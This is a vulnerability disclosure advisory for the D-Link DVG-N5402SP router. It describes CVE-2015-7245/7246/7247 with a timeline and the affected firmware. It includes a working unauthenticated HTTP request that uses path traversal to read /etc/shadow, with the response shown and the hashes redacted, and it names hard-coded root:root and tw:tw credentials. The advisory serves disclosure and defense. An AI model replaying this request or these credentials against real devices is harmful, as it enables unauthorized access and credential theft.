DLink DVG­N5402SP File Path Traversal, Weak Credentials Management, and
Sensitive Info Leakage Vulnerabilities

*Timelines*
Reported to CERT + Vendor: August 2015
Dlink released beta release: Oct 23, 2015
New fix release: MD5 (GRNV6.1U23J-83-DL-R1B114-SG_Normal.EN.img) =
04fd8b901e9f297a4cdbea803a9a43cb
No public disclosure till date - Dlink waiting for Service providers to ask
for new release + CERT opted out


*Vulnerable Models, Firmware, Hardware versions*
DVG­N5402SP Web Management
Model Name : GPN2.4P21­C­CN
Firmware Version : W1000CN­00
Firmware Version :W1000CN­03
Firmware Version :W2000EN­00
Hardware Platform :ZS
Hardware Version :Gpn2.4P21­C_WIFI­V0.05

Device can be managed through three users:
1. super ­ full privileges
2. admin ­ full privileges
3. support ­ restricted user

*1. Path traversal*
Arbitrary files can be read off of the device file system. No
authentication is required to exploit this vulnerability.
*CVE-ID*: CVE-2015-7245

*HTTP Request *

POST /cgi­bin/webproc HTTP/1.1
Host: <IP>:8080
User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101
Firefox/39.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept­Language: en­US,en;q=0.5
Accept­Encoding: gzip, deflate
Referer: http://<IP>:8080/cgi­bin/webproc
Cookie: sessionid=abcdefgh; language=en_us; sys_UserName=super
Connection: keep­alive
Content­Type: application/x­www­form­urlencoded
Content­Length: 223

getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/shadow&var%3Amenu=setup&var%3Apage=connected&var%
&obj­action=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh


*HTTP Response*

HTTP/1.0 200 OK
pstVal­>name:getpage; pstVal­>value:html/main.html
pstVal­>name:getpage; pstVal­>value:html/index.html
pstVal­>name:errorpage;
pstVal­>value:../../../../../../../../../../../etc/shadow
pstVal­>name:var:menu; pstVal­>value:setup
pstVal­>name:var:page; pstVal­>value:connected
pstVal­>name:var:subpage; pstVal­>value:­
pstVal­>name:obj­action; pstVal­>value:auth
pstVal­>name::username; pstVal­>value:super
pstVal­>name::password; pstVal­>value:super
pstVal­>name::action; pstVal­>value:login
pstVal­>name::sessionid; pstVal­>value:1ac5da6b
Connection: close
Content­type: text/html
Pragma: no­cache
Cache­Control: no­cache
set­cookie: sessionid=1ac5da6b; expires=Fri, 31­Dec­9999 23:59:59 GMT;
path=/

#root:<hash_redacted>:13796:0:99999:7:::
root:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::


*2. Use of Default, Hard­Coded Credentials**CVE-ID*: CVE-2015-7246

The device has two system user accounts configured with default passwords
(root:root, tw:tw).
Login ­ tw ­ is not active though. Anyone could use the default password to
gain administrative control through the Telnet service of the system (when
enabled) leading to integrity, loss of confidentiality, or loss of
availability.

*3.Sensitive info leakage via device running configuration backup *
*CVE-ID*: CVE-2015-7247

Usernames, Passwords, keys, values and web account hashes (super & admin)
are stored in clear­text and not masked. It is noted that restricted
'support' user may also access this config backup file from the portal
directly, gather clear-text admin creds, and gain full, unauthorized access
to the device.
-- 
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in